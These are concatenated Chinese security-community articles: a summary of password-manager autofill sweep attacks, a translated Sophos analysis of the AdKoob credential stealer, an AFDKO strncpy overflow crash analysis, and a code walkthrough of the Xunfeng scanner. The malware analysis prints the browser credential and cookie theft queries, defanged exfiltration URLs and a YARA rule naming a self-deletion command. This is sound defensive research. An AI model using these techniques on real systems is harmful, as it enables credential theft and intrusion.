有安全意识的人肯定不会为所有的网站设置同样的密码。为了提高一站一密码的安全系数，你可能会使用到密码管理器。不过刚开始使用时可能会有一丝不安，毕竟它将所有的密码都放在了同一个地方，而且很多密码管理器都会同步到所有设备和云上。在这篇文章中，作者说明了很多密码管理器中都包含一个主要漏洞，而且这个漏洞如被利用可自动填充密码字段！由于作者写作本文是在2014年，因此可能所述的攻击向量已被关闭（如果你知道相关的更新报告，请在评论区留言），不过我认为这些攻击的变种仍然还在。
一言以蔽之：不要使用自动填充功能。
**邪恶的咖啡店攻击者**
攻击者应该能够实施主动的中间人攻击。但是要窃取网站的凭证，也没有硬性要求用户必须直接明确地访问或者登录到某个网站。咖啡店（举个例子）的一个恶意wifi路由器就够了：连接到这个路由器，你的密码就不翼而飞了。
我们将这种攻击者称为“邪恶的咖啡店攻击者”。这些攻击只需要对网络路由器拥有临时控制，而且实施起来更容易，因此很可能在现实生活中发生。在我们所讲述的很多攻击中，用户都无需跟受害者网站交互，而且用户不会意识到密码已被提取。
**扫描攻击**
基本的扫描（sweep）攻击会攻陷所有支持自动填充密码字段的密码管理器，因为目标用户连接到了由攻击者控制的WiFi热点。
当用户启动浏览器时，浏览器会被重定向到一个标准的热点登录页面，该页面要求获取用户关于标准使用条款的同意。这种行为常见于公共热点。然而，用户没有意识到的是，登录页面包含着实施攻击的不可见元素。
换句话说，等到你查看完整加载的登录页面时，你的多数凭证可能已经不见了。在测试中，每秒可被提取的密码数量是10个左右。
大体来讲，攻击者有三种使用登录页面的方法来扫描密码：
1\.
在iFrame扫描攻击中，登录页面包含指向多个目标站点任意页面的不可见内嵌框架。当浏览器加载这些框架时，攻击者会向它们注入一个登录表单和javascript（详细方法看下文）。自动填充密码管理器会将用户密码填入相应的字段。
2\.
攻击者不会使用内嵌框架，而是使用多个窗口。通过要求在用户能够获取访问wifi网络之前打开窗口，用户会禁用任何弹出阻拦。虽然多个窗口要比不可见的内嵌框架更惹人注意，但是注入的javascript能够将它们最小化或将它们移动到屏幕边缘。密码被盗后，窗口就会马上被关闭。
3\.
第三种方法是使用重定向链。当用户请求某个页面时，攻击者就会以某个站点的重定向作为响应，攻击者正是凭此来获悉密码。被注入的javascript增加一个登录表单并隐藏页面详情。一旦密码管理器自动填充了密码且密码被提取，浏览器就会被重定向至下一个目标站点，以此循环往复，最终加载到用户原来请求的页面。而用户看到的不过是一个缓慢的wifi连接。
下列表格展示了截止2014年被测试的密码管理器，它们均易受扫描攻击。
注：上表是扫描攻击的漏洞。“＋”表示漏洞没有限制。HTTPS表示漏洞仅存在于HTTPS页面。Single代表每个高级页面加载中有一个站点易受攻击。SO表示当包含内嵌框架的页面跟内嵌框架中的目标页面是同源时的漏洞。
**注入**
扫描攻击依靠的是攻击者通过篡改网络流量而修改受害者网站页面的能力。当易受攻击的页面就是登录页面本身时，攻击最容易实施。然而，只要有任何跟登录页面同源的页面就足够了，因为所有关联的密码管理器都通过域名保存密码而忽视登录页面的路径。
实施攻击的一个简单方法就是在HTTP协议下提供登录表单的站点（不良实践），而且仅在提交时使用HTTPS。截止2013年10月份，在Alex排名前500的站点中，有17%的站点都是这么做的。目前情况应该好点了，但由于没有数据，也无法下定论。
任何一个通过HTTP获取动态内容的HTTPS网页都易受攻击（不过多数浏览器会实施拦截）。受害者网站任意网页上的任何XSS漏洞也会起作用（即便登录页面用的是HTTPS协议）。实际上网站上任何位置的XSS漏洞即使在不需要恶意WiFi的情况下都能触发攻击——只要网络攻击者能够诱骗用户访问受攻击者控制的网站即可。
损坏的HTTPS链接（例如损坏的证书）也会导致漏洞的出现，因为攻击者能够使用一个自签名证书作为修改后的登录页面。浏览器会发出告警，但用户通常都会选择忽视告警信息（尤其是当告警出现在登录WiFi网络时，或者至少用户是这么认为的）。
嵌入式设备更是如此。嵌入式设备会通过HTTP提供登录页面，它们一般是在受WiFi加密保护的私有网络上或者是通过HTTPS提供登录页面但使用自签名证书的家庭路由器。
**密码提取**
一旦攻击者页面的javascript获得目标密码，提取就容易多了。其中一种方法是加载一个不可见的内嵌框架并将凭证作为参数通过；另一种方法是修改登录表单的动作使其提交到受攻击者控制的站点。
**如果密码管理器不支持自动填充呢？**
到现在为止，我们提到的攻击都是当用户没有跟登录表单交互时，使用密码管理器的自动填充功能起作用。然而，我们提到的密码提取技术跟登录表单如何填充并没有关系。如果用户的密码管理器要求用户输入密码，那么攻击者就能够诱骗用户在无意识的情况下跟登录表单交互，一旦表单填充完毕，可使用相同的提取技术窃取密码。
作者描述了一种能够在这种场景下起作用的点击劫持，尽管我们现在只限于一次只窃取一个密码的方式。
**密码管理器中的支持弱点**
密码管理器除了自动填充功能外，还有其它一些行为也能帮助攻击者，这些行为的目的是尝试变得更加强大以应对站点实现详情中的变化。下表是一个简短总结。
注：密码管理器的自动填充行为（自动化自动填充、手动自动填充或未填充）取决于协议
(http/https)、自动完成属性、跟协议相关的用于当前页面的表单动作和保存密码时使用的表单动作。Manual
autofilling（手动自动填充）是指完成某些用户交互后自动填充密码如点击或触摸其中的一个表单字段。No
fill（未填充）是指没有自动填充密码。倒数第二列是指当密码字段的自动完成属性被设置为off时的自动填充行为。最后一列是指不良HTTPS连接状态下针对加载的一个登录页面后的自动填充行为。
**防御**
主要的防御手段是要求安全填充，只需要一个被修改的浏览器就足够了（以及需要一个被修改的密码管理器与之相对应）。
如果一个登录页面是通过HTTP加载的但却通过HTTPS提交，那么一旦登录表单填上了用户的密码，那么浏览器或密码管理器实现就无法提供安全性，因为JavaScript能够直接从表单读取密码或者更改表单动作，以便提交到由攻击者托管的密码窃取页面。安全填充的目标是即使攻击者将恶意JavaScript注入登录页面，密码管理器自动填充的密码还是安全的，前提条件是表单是通过HTTPS提交的。
**安全填充要求：**
1\. 从当用户名和密码首次被保存开始起，密码管理器要存储在登录表单中显示的行为。
2\. 当登录表单由密码管理器自动填充时，JavaScript无法读取该表单（因此要有被修改的浏览器）。
3\. 如果在自动填充正在进行过程中，用户名或密码字段被（用户或JavaScript）修改，自动填充会中止从密码字段中清除密码并再次让字段变为可读。
4\. 一旦被自动填充的表单提交，而且JavaScript运行之后，浏览器就会检查表单的行为是否跟存储的一致，只有在一致的情况下才会提交表单。
需要注意的是，这也意味着，比如，我们需要处理起始注册页面，尤其是当它们经常会包含客户端对密码长度进行校验（要求js权限）时。
我们将研究结果披露给了密码管理器厂商，并提出对自动填充策略的一些改变。从我们的研究来看，LastPass不会在内嵌框架中自动填充密码，而iPassword也不再为HTPP页面提供从HTTPS页面填充密码的服务。
从[ **此处** ****](https://www.quora.com/Does-1Password-automatically-insert-passwords-like-a-browser-does-or-do-I-have-to-click-on-the-extension-every-time)可了解关于为何iPassword为何不提供自动填充功能的内容以及关于扫描攻击的讨论。 | 社区文章 |
`翻译自https://news.sophos.com/en-us/2018/07/29/adkoob-information-thief-targets-facebook-ad-purchase-info/`
最新的发现显示，恶意软件似乎正在寻求Facebook对广告的购买记录信息。
在Sophos公司中，我们不断寻找新的威胁。其中一个沙箱系统帮助我们筛选每日大量新的恶意软件，并给予我们分析运行态恶意软件行为的能力。
最近，我们发现了一个可疑的可执行文件。它在我们的沙箱中表现出了有趣的行为。这个可执行程序将代码注入到合法的Windows二进制文件中（svchost.exe），并且注入的代码触发了用来进行识别“信息窃取恶意软件”的内存检测功能。这个用来进行注入的进程突然结束，并导致系统显示出来错误信息。而这个错误信息与进程所包含的代码类型没有任何关系。这个错误信息为：“
**配置文件丢失,重新安装轻松备份可能会解决这个问题** 。”
这个奇怪的行为促使我们去深入分析恶意软件。我们一步跳入了这个研究洞穴，并发现了先前未被证实的威胁，我们称其为AdKoob。这是一个凭证窃取的恶意软件。它会将你Facebook账户中的信息数据发送给未知的接受者。
### 躲避检测和沙箱
为了避免被检测出来，AdKoob主要进行了双层包装：首先进行开放源码UPX封装，然后使用自定义的代码注入工具。这个自定义的工具使用了称为“进程镂空”的技术将恶意代码写入在Windows服务主机上。一旦部署成功，这个注入代码将会恢复服务器的主机进程，并弹出假的错误提示信息。
但是当我们分析AdKoob时，我们很快发现了它为什么会抛出假错误消息：AdKOOB通过检查是否存在命令行参数来启动执行程序。如果不存在参数，它会抛出错误，但在一个样本分析中，我们发现了`'/1c9542b2a8cb'`或者`'/mode=debug'`的两种类型的代码。
如果恶意软件进程在开始的时候是通过其正确的方法执行的，那么AdKoob会通过检查%appdata%目录下'FC29FA0894FE.ini'文件的存在性来选择是否继续执行。此方法保证恶意代码仅执行一次。如果用户文件存在，恶意软件立即终止运行。
使用内置命令行参数检查是一种简单而狡猾的反沙箱技术，因为自动化沙箱不太可能提前知道它需要传递给可执行文件的参数。
### 窃取浏览器凭证
一旦能够逃脱了所有的检查，AdKoob就开始其第一个核心任务：窃取用户保存在浏览器中的用户名和密码。为了实现这个目的，AdKoob会直接访问各种浏览器存储凭证的文件和注册表。
AdKoob使用一些技巧从不同浏览器中获取数据信息。对于Chrome和Firefox的旧版本（版本58之前），它对这些存储在磁盘中的浏览器SQLite数据库进行SQL查询（对于火狐来说是moz_logins，对于谷歌为logins）
SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins
SELECT origin_url, username_value, password_value FROM logins
AdKoob通过文件名访问SQLite数据库：
signons.sqlite (Firefox's SQL credential database)
Google\Chrome\User Data\Default\Login Data (path to Chrome's database)
在最近的版本中，AdKoob也可以去查询保存在JSON文件内部的火狐存储凭证。
此外，AdKoob看起来将浏览器的登陆表单凭证保存在以下注册表位置：
Software\Microsoft\Internet Explorer\IntelliForms\Storage2
AdKoob能够提取浏览器中保存的“基本访问认证”凭证（这些凭证被某些Web应用程序使用，并在特定HTTP报头中发送）。它使用GUID字符串，而GUID字符串需要生成加密的盐值并用来保护存储的凭证，除此之外，用来区分库中保存基本访问凭证与其他凭证的前缀码也需要被生成。
abe2869f-9b47-4cd9-a358-c22904dba7f7 (使用盐值加密生成的GUID字符串)
Microsoft_WinInet (标识存储的基本访问认证凭据的前缀码)
在获取凭证之后，AdKoob通过将HTTP请求发送给`'useragent.cc'`
或者`'mybrowserinfo.com'`来确定受害者的公共IP地址。除了被害人的公共IP地址之外，AdKoob还收集了有关主机的基本信息。
这些被获取到的浏览器凭证被编码后通过HTTPS发送给攻击者，在此过程中使用了恶意程序中的两个硬编码URL。每个浏览器都有一个单独的POST请求。对于被分析的样本来说，这些URL（已经被混淆过）如下：
hxxps://104[.]200[.]131[.]253:1989/stats1.asp
hxxps://45[.]32[.]91[.]128:1989/stats1.asp
一个加密过后的请求如下：
`3ED4ACD2B09E4389E997B918A9A7ADB4B07A4611BF|Windows NT 6.1<<1.2.3.4|UTC+00:00
GMT Standard Time|chrome|Mozilla/5.0 (Windows NT 6.1; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99
Safari/537.36{||}aHR0cHM6Ly9hY2NvdW50cy5nb29nbGUuY29tL3NpZ25pbi92Mi9zbC9wd2Q=|dGVzdGNyZWQ=|U2F2ZU1lIQ==|yangyangfb`
解码请求中的字段描述如下：
| 字段 | 数据 |
| ------ | ------ |
| 唯一机器标示符（从C驱动器的主机名和卷序列号导出） | 3ED4ACD2B09E4389E997B918A9A7ADB4B07A4611BF |
| 操作系统版本 | Windows NT 6.1 |
|公告IP（样本）|1.2.3.4|
|被攻击者的本地时间|UTC+00:00 GMT Standard Time|
|AdKoob浏览器标识符字符串| chrome |
|用户代理（从证书中窃取的浏览器凭证）|Mozilla/5.0 (Windows NT 6.1; Win64; x64)…|
|base64编码后的浏览器凭据（网站、用户名、密码）| aHR0cHM6Ly9…dGVzdGNyZWQ=U2F2ZU1lIQ==|
|Bot标示符| yangyangfb |
### 对Facebook个人信息部分的间谍活动
一旦保存的浏览器凭据从受害者的机器中获取出来，AdKoob就开始它的第二个核心任务：建立一个Facebook会话并将数据从受害人的Facebook数据存储中删除。AdKoob使用以下两种方法去建立Facebook会话。
第一种方法依赖于通过Facebook认证cookies，使用存储在用户浏览器中的Facebook会话。AdKoob通过受害者安装的浏览器专门寻找与facebook.com域名相关的的Cookies记录。
类似于保存的凭据，Cookie存储在Firefox和Chrome中的SQLite数据库中。我们可以很容易地通过以下SQL语句来查询cookies：
SELECT * FROM cookies WHERE cookies.host_key LIKE "%.facebook.com";
SELECT * FROM moz_cookies WHERE moz_cookies.host LIKE "%.facebook.com";
除了Chrome和Firefox之外，AdKoob还查询了Internet
Explorer和微软的Edgies浏览器中存在的Facebook的Cookie。
第二种方法利用了AdKoob所盗取的浏览器凭证。AdKoob试图通过发送适当的HTTP请求登录到Facebook，如果成功的话，它能够获得额外的Facebook会话cookies。
一旦认证成功，AdKoob会继续进行间谍活动。它会对Facebook的一系列url进行请求。恶意软件使用相应的正则表达式集检查来自每个请求的响应数据。这种技术能够使AdKoob识别受害人Facebook个人信息中的有价值的信息条目。
下列三个请求是Facebook的url：
https://www.facebook.com/
https://www.facebook.com/username/about
https://www.facebook.com/bookmarks/pages
从这些请求中，AdKoob盗取了下列数据：
* Facebook所在地（定义用户首选接口语言、区域的参数）。
* Facebook用户ID（一个无法自识别Facebook用户但与Facebook用户个人信息相关联的字符串）。
* Facebook数据存储用户名（用户选择的用户名，其被用来与用户的个人信息相连接，例如www[.]facebook.com/janedoe3）。
* 从用户的Facebook数据存储（包括用户的全名和生日）的部分信息。
* 用户创建的Facebook网页页面名称。
###广告花费中的趣事
在盗取受害者的Facebook个人资料之后，AdKoob继续向一个不被日常脸谱网用户使用的界面发出一系列有趣的请求，这与付费的广告活动有关。企业有可能在Facebook上创建一个广告账户，并通过特定的活动使用该账户来推广Facebook网页或网站。用户可以定义各种参数，例如选举应该关注的用户的人口统计学。
对于每一个广告活动，用户可以通过Facebook广告管理器接口定义预算，在那里可以清楚地了解广告活动的结果和花费。
AdKoob向提供服务的URL发起请求。之后，它检查响应并提取广告帐户ID（唯一标识广告帐户的字符串）和花费在广告活动上的总金额。
然后，提取的广告帐户ID用于对Facebook图形API进行查询，该程序允许程序员从Facebook帐户中查询信息。下面的查询由AdKoob发起：
`act_<adaccountid>/campaigns?date_preset=this_month&fields=["boosted_action_type","brand_lift_studies","buying_type","effective_status","name","spend_cap","stop_time"]&filtering=[]&include_headers=false&limit=20&locale=en_US&method=get&pretty=0&sort=["delivery_info_ascending","spent_descending","stop_time_descending","start_time_descending"]&summary=["total_count"]&suppress_http_code=1`
可以通过图形化FacebookAPI浏览器来模拟查询相应的结果。这个开发者工具是用来测试他们的Facebook图形查询，如图五的图片所示：
AdKoob发起的查询窃取了来自广告活动的各种信息，例如广告名称、当前花费的金额以及广告活动的预算限制。
这可能是AdKoob最有趣的事情了。有效载荷表明这些攻击背后的罪犯瞄准的是商业用户。原因很简单，普通家庭用户不太可能使用Facebook进行广告活动。
所有的被提取的脸谱网数据都被发送到同一个硬编码URL，而这些URL被用来过滤浏览器的凭证。除了来自Facebook账户的数据被盗以外，Facebook的用户cookies和Facebook的登录证书（如果存在于受害者的机器上）也会被盗取。
一旦所有的盗取目的达成，AdKoob会给不同的URL发送GET请求，这些请求包括基于用户的安全标识符的认证码（SID）：
https://107[.]151[.]152[.]220:5658/down.asp?action=newinstall&u=<identifier>
这个URL不同于用于数据盗取相关的URL，这个URL大概是用于感染数量的统计。
最后AdKoob以创建文件`'%appdata%\FC29FA0894FE.ini'`来结束它的执行过程。这确保了恶意软件不会运行两次。然后它会进行自我销毁，试图不留下系统被破坏的迹象。
###IOCs
打包AdKoob样品（SHA256）
e383582413cc53ec6a630e537eedfeee35d6b5f3495266f2530770f4dd3193a6
Unpacked, analyzed AdKoob sample (SHA256):
6a6260cb5e1e0ad22af2bc8bb73bc8423df6315a88e39c2264f6def5798b6550
YARA规则
rule adkoob_information_stealer
{
meta:
author = "Felix Weyne, Sophos"
strings:
$facebook_cookie_firefox = "SELECT * FROM moz_cookies WHERE moz_cookies.host LIKE \"%.facebook.com\"" nocase ascii
$facebook_cookie_chrome = "SELECT * FROM cookies WHERE cookies.host_key LIKE \"%.facebook.com\"" nocase ascii
$facebook_regex_ad_account_id = "<td [^>]*?data-testid=\"all_accounts_table_account_id_cell\">([^<>]*?)</td>" nocase wide
$self_destruction = "/C ping localhost -n 4 > nul & del" nocase wide
condition:
all of them
} | 社区文章 |
# Fuzz AFDKO Crashes 分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这个同样是一周前`clone`的最新库`fuzz`结果
问题出现在`svread.c`中的`parseSVG`执行`strncpy`复制前长度判断不严。
## crash结果
首先来看一下批处理`crash`发现的`gdb`结果
Program received signal SIGSEGV, Segmentation fault.
0x0000000000496010 in parseSVG (h=0x998c5a43686190bf) at ../../../../../source/svread/svread.c:864
864 while (!(h->flags & SEEN_END)) {
#0 0x0000000000496010 in parseSVG (h=0x998c5a43686190bf) at ../../../../../source/svread/svread.c:864
#1 0x0d895f8642801ab0 in ?? ()
#2 0x330ad0e8e8e8e8a7 in ?? ()
#3 0x000000000a24ddef in ?? ()
#4 0x0000000000581468 in ?? ()
#5 0x0000000000000008 in ?? ()
#6 0x000000000a20e078 in ?? ()
#7 0x0000000000000000 in ?? ()
Dump of assembler code from 0x496010 to 0x496020:
=> 0x0000000000496010 <parseSVG+432>: mov 0xcd28(%rax),%ecx
0x0000000000496016 <parseSVG+438>: and $0x1,%ecx
0x0000000000496019 <parseSVG+441>: mov %ecx,%esi
0x000000000049601b <parseSVG+443>: mov %ecx,-0x148(%rbp)
End of assembler dump.
rax 0x998c5a43686190bf -7382426443606552385
rbx 0x0 0
rcx 0xffffffdd 4294967261
rdx 0x0 0
rsi 0x0 0
rdi 0x0 0
rbp 0x7fffffffdca0 0x7fffffffdca0
rsp 0x7fffffffda30 0x7fffffffda30
r8 0x0 0
r9 0xfffffffffffffff 1152921504606846975
r10 0x0 0
r11 0x7ffff703c5e0 140737337607648
r12 0x404c40 4213824
r13 0x7fffffffe180 140737488347520
r14 0x0 0
r15 0x0 0
rip 0x496010 0x496010 <parseSVG+432>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
A debugging session is active.
Inferior 1 [process 120570] will be killed.
Quit anyway? (y or n) [answered Y; input not from terminal]
[+] crash file ===> ./crashes/SIGSEGV.PC.7f8e371974d9.STACK.badbad0d4cce199d.CODE.128.ADDR.(nil).INSTR.[NOT_MMAPED].2019-07-24.18:05:33.75589.fuzz
===========================================================
## 原理分析
调试，运行，崩溃
查看一下相关变量
pwndbg> p/x h->flags
Cannot access memory at address 0x998c5a4368625de7
pwndbg> p/x h
$1 = 0x998c5a43686190bf
查看一下内存布局
所以`h`作为一个指针，这个地址，肯定是错的
下断点，重新调试
看一下没出问题前`h`的值
指向这个堆
目前没有任何问题，但从刚刚崩溃中可以看到`h`的值会被修改为一个无效地址
所以监控一下`h`的值，如果发生变化，就断下
pwndbg> watch h!=0xa228030
继续执行
在执行`strncpy`时断下来了，看一下调用栈，并定位一下出错代码
好了，出错位置找到了
在这个位置下一个断点，重新执行
看看执行这句后会有什么效果
`h`已经变为了一个无效指针。
来看看为什么，重点在`strncpy`函数
strncpy(tempVal, tk->val + 1, tk->length - 2);
其中`tempVal`定义
char tempVal[kMaxName];
`kMaxName`定义
#define kMaxName 64
`tempVal`是一个`64`字节长度的字符数组
再来看看`tk->length - 2`数据
pwndbg> p/x tk->length-2
$6 = 0xab
pwndbg> p tk->length-2
$7 = 171
所以`tempVal`数组执行完`strncpy`是会溢出的
那溢出一定会覆盖`h`的值吗？答案是不一定，看你使用什么编译器了。
经过多次测试发现，如果使用`gcc`编译，那么就不会被覆盖，如果使用`clang`编译就会被覆盖至于为什么，其实直接看反汇编代码就懂了
`gcc`编译
`clang`编译
可以发现`gcc`把`h`这种重要的数据结构放在了距离`rbp`更远的地方，减少了被覆盖的风险。
利用这个漏洞，攻击者通过构建特定结构的`svg`的字体文件，很有可能会造成命令执行
## 总结
很不幸，分析完之后，发现利用`afdko`的最新代码并不能复现！
经过多次测试，发现`afdko`通过`commit 973a8c929b4fb204dd8fcc84cd12ff02c1ea8aab`
把这个洞给堵上了，堵上的原理就是，利用的`poc.svg`在执行到`strncpy`前就被断了。
但这个漏洞理论上还是存在的，因为`strncpy`执行前，现有代码还是没有对长度进行判断，但要是想绕过的话，需要进一步`fuzz`出能够触发这个洞的`poc`数据
连续两个洞，都是因为这一个`commit`，导致无法利用，真是心塞啊 | 社区文章 |
# 前言
由于一些需要，和抱着学习的目的，研读了下巡风这款相当优秀的扫描器代码。
<https://github.com/ysrc/xunfeng>
主要分析了下两个扫描的模块，对web端没有跟进看，当然重点也在扫描的部分。
分析的语句都以注释的形式标注在代码中了，由于能力有限，分析中的不足和错误欢迎指出。
# 整体架构逻辑
## 文件结构
│ Config.py # 配置文件
│ README.md # 说明文档
│ Run.bat # Windows启动服务
│ Run.py # webserver
│ Run.sh # Linux启动服务，重新启动前需把进程先结束掉
│
├─aider
│ Aider.py # 辅助验证脚本
│
├─db # 初始数据库结构
│
├─masscan # 内置编译好的Masscan程序（CentOS win64适用），需要chmod+x给执行权限（root），若无法使用请自行编译安装。
├─nascan
│ │ NAScan.py # 网络资产信息抓取引擎
│ │
│ ├─lib
│ │ common.py 其他方法
│ │ icmp.py # ICMP发送类
│ │ log.py # 日志输出
│ │ mongo.py # 数据库连接
│ │ scan.py # 扫描与识别
│ │ start.py # 线程控制
│ │
│ └─plugin
│ masscan.py # 调用Masscan脚本
│
├─views
│ │ View.py # web请求处理
│ │
│ ├─lib
│ │ Conn.py # 数据库公共类
│ │ CreateExcel.py # 表格处理
│ │ Login.py # 权限验证
│ │ QueryLogic.py # 查询语句解析
│ │
│ ├─static #静态资源目录
│ │
│ └─templates #模板文件目录
│
└─vulscan
│ VulScan.py # 漏洞检测引擎
│
└─vuldb # 漏洞库目录
## Run.sh
整个程序的开始就是从`Run.sh`开始的，可以先来看下起了哪些服务
#!/bin/bash
CURRENT_PATH=`dirname $0`
cd $CURRENT_PATH
XUNFENG_LOG=/var/log/xunfeng
XUNFENG_DB=/var/lib/mongodb
[ ! -d $XUNFENG_LOG ] && mkdir -p ${XUNFENG_LOG}
[ ! -d $XUNFENG_DB ] && mkdir -p ${XUNFENG_DB}
nohup mongod --port 65521 --dbpath=${XUNFENG_DB} --auth > ${XUNFENG_LOG}/db.log &
nohup python ./Run.py > ${XUNFENG_LOG}/web.log &
nohup python ./aider/Aider.py > ${XUNFENG_LOG}/aider.log &
nohup python ./nascan/NAScan.py > ${XUNFENG_LOG}/scan.log &
nohup python ./vulscan/VulScan.py > ${XUNFENG_LOG}/vul.log &
可以看到主要起了如下四个服务
### Run.py
from views.View import app
if __name__ == '__main__':
#app.debug = True
app.run(threaded=True, port=80,host='0.0.0.0')
**webserver**
可以看出这个是flask起的web端，里面主要是做一些数据的展示和修改的。由于不是扫描器的重点，这里就不具体分析了，可以自己看下代码。
### Aider.py
**辅助验证脚本** ，一个50行左右的单文件，使用socket完成了一个简单的DNS log平台。
### NAScan.py
**网络资产信息抓取引擎** 主要是调用`nascan`这个模块来进行网络资产（存活主机、开发端口、服务）的扫描。
### VulScan.py
**漏洞检测引擎** 主要是调用`vulscan/vuldb`中的poc进行漏洞检测。
# nascan
模块结构
─nascan
│ NAScan.py # 网络资产信息抓取引擎
│
├─lib
│ common.py 其他方法
│ icmp.py # ICMP发送类
│ log.py # 日志输出
│ mongo.py # 数据库连接
│ scan.py # 扫描与识别
│ start.py # 线程控制
└─plugin
masscan.py # 调用Masscan脚本
从`NAScan.py`文件入口
# coding:utf-8
# author:wolf@YSRC
import thread
from lib.common import *
from lib.start import *
if __name__ == "__main__":
try:
CONFIG_INI = get_config() # 读取配置
log.write('info', None, 0, u'获取配置成功') # 日志记录
STATISTICS = get_statistics() # 读取统计信息
MASSCAN_AC = [0] # 标识符 masscan是否在使用
NACHANGE = [0] # 标识符 扫描列表是否被改变
thread.start_new_thread(monitor, (CONFIG_INI,STATISTICS,NACHANGE)) # 心跳线程
thread.start_new_thread(cruise, (STATISTICS,MASSCAN_AC)) # 失效记录删除线程
socket.setdefaulttimeout(int(CONFIG_INI['Timeout']) / 2) # 设置连接超时
ac_data = []
while True:
now_time = time.localtime()
now_hour = now_time.tm_hour
now_day = now_time.tm_mday
now_date = str(now_time.tm_year) + str(now_time.tm_mon) + str(now_day)
cy_day, ac_hour = CONFIG_INI['Cycle'].split('|')
log.write('info', None, 0, u'扫描规则: ' + str(CONFIG_INI['Cycle']))
if (now_hour == int(ac_hour) and now_day % int(cy_day) == 0 and now_date not in ac_data) or NACHANGE[0]: # 判断是否进入扫描时段
ac_data.append(now_date)
NACHANGE[0] = 0
log.write('info', None, 0, u'开始扫描')
s = start(CONFIG_INI)
s.masscan_ac = MASSCAN_AC
s.statistics = STATISTICS
s.run() # 开始扫描
time.sleep(60)
except Exception, e:
print e
## 准备工作
一开始是获取配置信息
def get_config():
config = {}
# 从mongodb中读取`nascan`的配置，可以从navicat中看到Config集合中有`vulscan`和`nascan`的扫描配置
config_info = mongo.na_db.Config.find_one({"type": "nascan"})
for name in config_info['config']:
# 对于cms识别、组件容器、动态语言、服务 的配置存储是使用`|`进行分割存储的
# 所以在取出之前要进行简单的格式化然后放到配置中
if name in ['Discern_cms', 'Discern_con', 'Discern_lang', 'Discern_server']:
config[name] = format_config(name, config_info['config'][name]['value'])
else:
config[name] = config_info['config'][name]['value']
return config
然后是进行日志记录
# coding:utf-8
import threading
import time
import sys
reload(sys)
sys.setdefaultencoding('utf8')
mutex = threading.Lock() # 线程互斥锁
def write(scan_type, host, port, info):
mutex.acquire() # 上锁，避免多个进程输出，导致格式混乱
port = int(port)
try: # 由于Run.sh中使用了nohup，所以`print`的输出会被输出到log文件中
time_str = time.strftime('%X', time.localtime(time.time()))
if scan_type == 'portscan':
print "[%s] %s:%d open" % (time_str, host, port)
elif scan_type == 'server':
print "[%s] %s:%d is %s" % (time_str, host, port, str(info))
elif scan_type == 'web':
print "[%s] %s:%d is web" % (time_str, host, port)
print "[%s] %s:%d web info %s" % (time_str, host, port, info)
elif scan_type == 'active':
print "[%s] %s active" % (time_str, host)
elif scan_type == 'info':
print "[%s] %s" % (time_str, info)
except Exception, e:
print 'logerror',e
pass
mutex.release()
之后进行读取统计信息
def get_statistics():
date_ = datetime.datetime.now().strftime('%Y-%m-%d')
# 获取当日的统计信息
now_stati = mongo.na_db.Statistics.find_one({"date": date_})
if not now_stati:
# 没有当日的信息则返回一个初始统计信息
now_stati = {date_: {"add": 0, "update": 0, "delete": 0}}
return now_stati
else:
# 有则返回
return {date_: now_stati['info']}
## 两个监测线程
之后启动了两个现场，分别对应不同的功能
thread.start_new_thread(monitor, (CONFIG_INI,STATISTICS,NACHANGE)) # 心跳线程
thread.start_new_thread(cruise, (STATISTICS,MASSCAN_AC)) # 失效记录删除线程
### monitor
`monitor`心跳线程，主要用于判断扫描配置是否发生了变化
def monitor(CONFIG_INI, STATISTICS, NACHANGE):
while True:
try:
time_ = datetime.datetime.now()
date_ = time_.strftime('%Y-%m-%d')
# 记录心跳
mongo.na_db.Heartbeat.update({"name": "heartbeat"}, {"$set": {"up_time": time_}})
if date_ not in STATISTICS: STATISTICS[date_] = {"add": 0, "update": 0, "delete": 0}
# 更新统计信息
mongo.na_db.Statistics.update({"date": date_}, {"$set": {"info": STATISTICS[date_]}}, upsert=True)
new_config = get_config() # 获取最新配置
# 比较配置扫描列表的base64是否相同，不同则置NACHANGE[0]为1
if base64.b64encode(CONFIG_INI["Scan_list"]) != base64.b64encode(new_config["Scan_list"]):NACHANGE[0] = 1
CONFIG_INI.clear()
CONFIG_INI.update(new_config) # 更新新配置
except Exception, e:
print e
time.sleep(30) # 每30秒检测一次
回到`NAScan.py`中可以看到
# 判断是否达到了一个扫描的周期，或者心跳线程是否检测到扫描列表更新
# 因为上面可以看到base64不同时会将NACHANGE[0]置于1
# 至于为什么要传入NACHANGE[0]这样一个列表，而不是一个flag的int值（因为列表是引用啊！
if (now_hour == int(ac_hour) and now_day % int(cy_day) == 0 and now_date not in ac_data) or NACHANGE[0]:
### cruise
然后是`cruise` 失效记录删除线程
def cruise(STATISTICS,MASSCAN_AC):
while True:
now_str = datetime.datetime.now()
week = int(now_str.weekday())
hour = int(now_str.hour)
if week >= 1 and week <= 5 and hour >= 9 and hour <= 18: # 非工作时间不删除
try:
# 获取扫描信息记录
data = mongo.NA_INFO.find().sort("time", 1)
for history_info in data:
while True:
# 如果masscan正在扫描即不进行清理
# 在后期可以看到在用masscan进行扫描的时候会置1
if MASSCAN_AC[0]:
time.sleep(10)
else:
break
ip = history_info['ip']
port = history_info['port']
try:
# 检测端口是否存活
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, int(port)))
sock.close()
except Exception, e:
time_ = datetime.datetime.now()
date_ = time_.strftime('%Y-%m-%d')
# 不存活则删除改记录
mongo.NA_INFO.remove({"ip": ip, "port": port})
log.write('info', None, 0, '%s:%s delete' % (ip, port)) # 日志记录
STATISTICS[date_]['delete'] += 1
del history_info["_id"]
history_info['del_time'] = time_
history_info['type'] = 'delete'
# 添加一条操作历史
mongo.NA_HISTORY.insert(history_info)
except:
pass
time.sleep(3600) # 60分钟检测一次
## start.py
回到`NAScan.py`， 前期的一些工作已经做完了，后面就可以进入`while True`的扫描循环了
now_time = time.localtime()
now_hour = now_time.tm_hour
now_day = now_time.tm_mday
now_date = str(now_time.tm_year) + str(now_time.tm_mon) + str(now_day)
# 获取资产探测周期
cy_day, ac_hour = CONFIG_INI['Cycle'].split('|')
log.write('info', None, 0, u'扫描规则: ' + str(CONFIG_INI['Cycle']))
